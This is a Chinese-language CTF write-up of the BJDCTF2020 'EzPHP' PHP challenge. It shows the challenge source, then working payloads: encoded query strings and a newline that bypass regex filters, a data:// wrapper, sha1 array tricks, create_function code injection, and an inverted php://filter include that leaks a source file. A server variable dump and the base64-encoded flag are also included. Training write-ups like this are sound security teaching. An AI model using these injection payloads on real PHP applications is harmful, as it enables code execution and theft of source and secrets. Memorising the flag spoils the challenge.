读取变量getflag-[BJDCTF2020]EzPHP

Word count: 2.5kReading time: 15 min

 2021/04/09   Share

考点

sha1绕过
$SERVER绕过
php伪协议
$REQUEST绕过

create_function注入

源码

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

解题

$_SERVER[‘QUERY_STRING’]不会url解码，可以url编码绕过
aqua_is_cute%0a绕过preg_match
file=data://text/plain,111绕过
shana[]=1&passwd[]=2绕过
create_function注入
通过;}var_dump(get_defined_vars());//注入执行var_dump(get_defined_vars())得到flag.php的变量

flag就在这里，你能拿到它吗？
array(13)
{["_GET"] = > array(5)
{["debu"] = > string(13)
"aqua_is_cute "["file"] = > string(32)
"data://text/plain,debu_debu_aqua"["shana"] = > array(1)
{[0] = > string(1)
"1"} ["passwd"] = > array(1)
{[0] = > string(1)
"2"} ["flag"] = > array(2)
{["arg"] = > string(32)
"}var_dump(get_defined_vars());//"["code"] = > string(15)
"create_function"}} ["_POST"] = > array(2)
{["debu"] = > string(1)
"1"["file"] = > string(1)
"1"} ["_COOKIE"] = > array(0)
{}["_FILES"] = > array(0)
{}["_SERVER"] = > array(58)
{["PHP_EXTRA_CONFIGURE_ARGS"] = > string(77)
"--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi"["HOSTNAME"] = > string(12)
"ca746354539e"["PHP_INI_DIR"] = > string(18)
"/usr/local/etc/php"["SHLVL"] = > string(1)
"1"["HOME"] = > string(14)
"/home/www-data"["PHP_LDFLAGS"] = > string(34)
"-Wl,-O1 -Wl,--hash-style=both -pie"["PHP_CFLAGS"] = > string(83)
"-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"["PHP_MD5"] = > string(0)
""["PHP_VERSION"] = > string(6)
"7.3.13"["GPG_KEYS"] = > string(81)
"CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D"["PHP_CPPFLAGS"] = > string(83)
"-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"["PHP_ASC_URL"] = > string(62)
"https://www.php.net/get/php-7.3.13.tar.xz.asc/from/this/mirror"["PHP_URL"] = > string(58)
"https://www.php.net/get/php-7.3.13.tar.xz/from/this/mirror"["PATH"] = > string(60)
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"["PHPIZE_DEPS"] = > string(78)
"autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c"["PWD"] = > string(13)
"/var/www/html"["PHP_SHA256"] = > string(64)
"57ac55fe442d2da650abeb9e6fa161bd3a98ba6528c029f076f8bba43dd5c228"["FLAG"] = > string(4)
"null"["USER"] = > string(8)
"www-data"["HTTP_CONNECTION"] = > string(5)
"close"["HTTP_X_FORWARDED_PROTO"] = > string(4)
"http"["HTTP_X_FORWARDED_FOR"] = > string(26)
"223.104.176.195, 127.0.0.1"["HTTP_UPGRADE_INSECURE_REQUESTS"] = > string(1)
"1"["HTTP_REFERER"] = > string(318)
"http://9faafca8-d5c1-41ec-a1ef-a5810f417dca.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function"[
    "HTTP_ORIGIN"] = > string(58)
"http://9faafca8-d5c1-41ec-a1ef-a5810f417dca.node3.buuoj.cn"["HTTP_CONTENT_TYPE"] = > string(33)
"application/x-www-form-urlencoded"["HTTP_CACHE_CONTROL"] = > string(9)
"max-age=0"["HTTP_ACCEPT_LANGUAGE"] = > string(59)
"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"["HTTP_ACCEPT_ENCODING"] = > string(13)
"gzip, deflate"["HTTP_ACCEPT"] = > string(74)
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"["HTTP_CONTENT_LENGTH"] = > string(2)
"13"["HTTP_USER_AGENT"] = > string(82)
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0"["HTTP_HOST"] = > string(51)
"9faafca8-d5c1-41ec-a1ef-a5810f417dca.node3.buuoj.cn"["SCRIPT_FILENAME"] = > string(23)
"/var/www/html/1nD3x.php"["REDIRECT_STATUS"] = > string(3)
"200"["SERVER_NAME"] = > string(9)
"localhost"["SERVER_PORT"] = > string(2)
"80"["SERVER_ADDR"] = > string(14)
"172.16.134.139"["REMOTE_PORT"] = > string(5)
"48922"["REMOTE_ADDR"] = > string(13)
"172.16.128.15"["SERVER_SOFTWARE"] = > string(12)
"nginx/1.16.1"["GATEWAY_INTERFACE"] = > string(7)
"CGI/1.1"["REQUEST_SCHEME"] = > string(4)
"http"["SERVER_PROTOCOL"] = > string(8)
"HTTP/1.1"["DOCUMENT_ROOT"] = > string(13)
"/var/www/html"["DOCUMENT_URI"] = > string(10)
"/1nD3x.php"["REQUEST_URI"] = > string(260)
"/1nD3x.php?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function"[
    "SCRIPT_NAME"] = > string(10)
"/1nD3x.php"["CONTENT_LENGTH"] = > string(2)
"13"["CONTENT_TYPE"] = > string(33)
"application/x-www-form-urlencoded"["REQUEST_METHOD"] = > string(4)
"POST"["QUERY_STRING"] = > string(249)
"%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function"[
    "FCGI_ROLE"] = > string(9)
"RESPONDER"["PHP_SELF"] = > string(10)
"/1nD3x.php"["REQUEST_TIME_FLOAT"] = > float(1608270639.3536)["REQUEST_TIME"] = > int(1608270639)["argv"] = > array(1)
{[0] = > string(249)
"%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function"} [
    "argc"] = > int(1)} ["_REQUEST"] = > array(5)
{["debu"] = > string(1)
"1"["file"] = > string(1)
"1"["shana"] = > array(1)
{[0] = > string(1)
"1"} ["passwd"] = > array(1)
{[0] = > string(1)
"2"} ["flag"] = > array(2)
{["arg"] = > string(32)
"}var_dump(get_defined_vars());//"["code"] = > string(15)
"create_function"}} ["file"] = > string(32)
"data://text/plain,debu_debu_aqua"["shana"] = > array(1)
{[0] = > string(1)
"1"} ["passwd"] = > array(1)
{[0] = > string(1)
"2"} ["arg"] = > string(32)
"}var_dump(get_defined_vars());//"["code"] = > string(15)
"create_function"["value"] = > array(2)
{["arg"] = > string(32)
"}var_dump(get_defined_vars());//"["code"] = > string(15)
"create_function"} ["ffffffff11111114ggggg"] = > string(89)
"Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333"}

接下来构造
;}require(base64_decode(rea1fl4g.php));var_dump(get_defined_vars());//读取
20210409120130
取反构造;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//
相当于包含对php://filter/read=convert.base64-encode/resource=rea1fl4g.php取反的源码的base64形式
20210409120106

得到flag的base64

PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFnezFkMDI0Y2MzLWUzOWQtNGRiNi05MmYzLTc2MDFhMWQzZjlkOX0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo=

20210409120502

其他解法

_GET传参

?deb%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&rce=%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%72%65%61%31%66%6c%34%67%2e%70%68%70&rce2=r&sha%6e%61[]=a&pa%73sw%64[]=b&fla%67[co%64e]=create_function&fla%67[ar%67]=;}require(get_defined_vars()[_GET][rce]);%0a//

解码得到

1
2
3

?debu=aqua_is_cute
&file=data:,debu_debu_aqua&rce=php://filter/read=convert.base64-encode/resource=rea1fl4g.php&rce2=r&shana[]=a&passwd[]=b&flag[code]=create_function&flag[arg]=;}require(get_defined_vars()[_GET][rce]);
//

这儿利用get_defined_vars()获得通过$_GET传的参数~~，巧妙地绕过了最后的正则匹配~~